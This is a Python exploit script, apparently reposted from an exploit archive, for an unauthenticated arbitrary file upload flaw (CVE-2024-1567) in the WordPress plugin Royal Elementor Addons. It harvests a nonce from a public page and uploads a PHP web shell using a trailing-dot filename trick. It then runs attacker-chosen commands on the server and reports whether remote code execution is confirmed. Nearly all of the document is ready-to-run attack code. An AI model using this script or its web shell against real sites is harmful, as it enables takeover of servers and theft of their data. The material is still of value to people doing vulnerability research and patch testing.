## https://sploitus.com/exploit?id=PACKETSTORM:226394
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/royal-elementor-addons/
# Software Link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip
# Version: 1.3.78 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-1567
"""
Royal Elementor Addons <= 1.3.78 registers the nopriv admin-ajax action wpr_addons_upload_file.
Its file_validity() honours the attacker-supplied `allowed_file_types`, and a filename ending in a
trailing dot ("shell.php.") has pathinfo() extension "" which is in the allow-list and not in the
php blacklist; sanitize_file_name() then strips the dot, so the file lands as shell.php in
wp-content/uploads/wpr-addons/forms/ (no protective .htaccess) -> RCE. Nonce WprConfig.nonce is
printed on any Elementor-rendered front-end page.
Prior state: Elementor active + one Elementor page (to harvest WprConfig.nonce).
"""
import argparse, sys, re
import requests
requests.packages.urllib3.disable_warnings()
TOK = "WPR_PWNED_1567"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--el-page", default="/elpage/", help="path of an Elementor-rendered page")
ap.add_argument("--cmd", default="id")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
m = re.search(r'WprConfig\s*=\s*(\{.*?\});', s.get(base + args.el_page).text, re.S)
if not m:
print("[-] WprConfig not found โ point --el-page at an Elementor page"); return 1
nonce = re.search(r'"nonce":"([a-f0-9]+)"', m.group(1)).group(1)
print(f"[*] Target: {base} | WprConfig nonce: {nonce}")
shell = ("<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOK).encode()
r = s.post(base + "/wp-admin/admin-ajax.php",
files={"uploaded_file": ("shell.php.", shell, "image/jpeg")},
data={"action": "wpr_addons_upload_file", "triggering_event": "click",
"allowed_file_types": "jpg,", "wpr_addons_nonce": nonce}, timeout=30)
print(f"[*] upload -> HTTP {r.status_code} :: {r.text[:160]}")
mu = re.search(r'(https?:\\?/\\?/[^"]+?\.php)', r.text)
url = mu.group(1).replace("\\/", "/") if mu else base + "/wp-content/uploads/wpr-addons/forms/shell.php"
rr = s.get(url, params={"c": args.cmd}, timeout=15)
if TOK in rr.text:
print(f"\n[+] RCE CONFIRMED at {url}\n{rr.text.split(TOK+':')[1].strip()}")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())